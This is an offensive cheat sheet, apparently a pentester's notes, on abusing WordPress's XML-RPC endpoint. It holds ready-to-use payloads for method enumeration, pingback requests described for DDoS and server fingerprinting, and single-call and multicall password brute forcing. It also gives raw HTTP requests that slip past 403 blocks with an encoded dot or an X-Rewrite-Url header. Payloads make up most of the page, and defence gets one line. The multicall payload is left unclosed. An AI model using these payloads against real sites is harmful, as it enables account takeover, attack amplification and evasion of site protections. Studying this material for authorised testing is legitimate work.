XMLRPC
XML-RPC is a feature of WordPress that enables data to be transmitted with HTTP
acting as the transport mechanism and XML
as the encoding mechanism.
This is used for developers to be able to talk to their application and for the application to talk to other applications.
An example could be a client completing a form, gets redirected to another application with the answers of the completed form being displayed by the first application sending it to the second application.
XMLRPC is enabled by default
on a freshly installed WordPress application and are often forgotten.
One cool thing is that most WAFs
do not protect the /xmlrpc.php
endpoint.
Hello Method
Application says hello! A good way to see if the API is broken or not:
<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>
List Method
The first step to see available methods to exploit
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Pingback Method
This method is often used in DDoS
attacks as this will make the application send a HTTP request towards a victim. If an adversary pings their collaborator
, one may see additional information such as version numbers
of components
in use and more.
Change collaborator.com
to the target that should receive a HTTP request. vulnerable-website.com/news/blog
should be a valid blogpost path
on the vulnerable application. Usually it works with root
directory, but depending on it's configuration, it's not a valid blogpost path
and another endpoint may be need to be used in the attack.
Sometimes outbound HTTP requests are blocked and a few DNS lookups are made instead.
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>
<string>https://collaborator.com/PoC</string>
</value>
</param>
<param>
<value>
<string>https://vulnerable-website.com/news/blog</string>
</value>
</param>
</params>
</methodCall>
GetUserBlogs Method
Great method to brute force a singular user. Change USERNAME
to a username or email address. Change the PASSWORD
to desired values
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>USERNAME</value></param>
<param><value>PASSWORD</value></param>
</params>
</methodCall>
Multicall Method
This is a cool one because this will let an adversary to let the application brute force their own users. The two bottom sections may be copy pasted multiple times
within a request until the application can't handle it anymore. In this inastance, two users are brute forced simultaneously. Change USERNAME
and PASSWORD
to desireed values.
<methodCall><methodName>system.multicall</methodName><params><param><value><array><data>
<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>USERNAME</string></value><value><string>PASSWORD</string></value></data></array></value></data></array></value></member></struct></value>
<value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string>USERNAME</string></value><value><string>PASSWORD</string></value></data></array></value></data></array></value></member></struct></value>
403 Bypass for XMLRPC
Developers try to remediate this issue by restricting access
to the /xmlrpc.php
endpoint.
When, if not in use, one should turn it off completely.
NOTE: application/x-www-form-urlencoded
may need to be altered to application/xml
in some cases to bypass the restrictions in place.
Variations of these methods can lead to a successful response.
The User-Agent
may not be necesary but in my expereince, some restrictive measures force this header to have a value.
Method 1 - URL-encoding dot
Sometimes, the restriction in place allows a URL-encoded dot
POST /xmlrpc%2ephp HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>
Method 2 - Header Bypass
POST / HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Content-Type: application/x-www-form-urlencoded
X-Rewrite-Url: xmlrpc.php
Content-Length: 86
<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>
Method 3 - HTTP/HTTPS
Do all of these methods both via HTTP
and HTTPS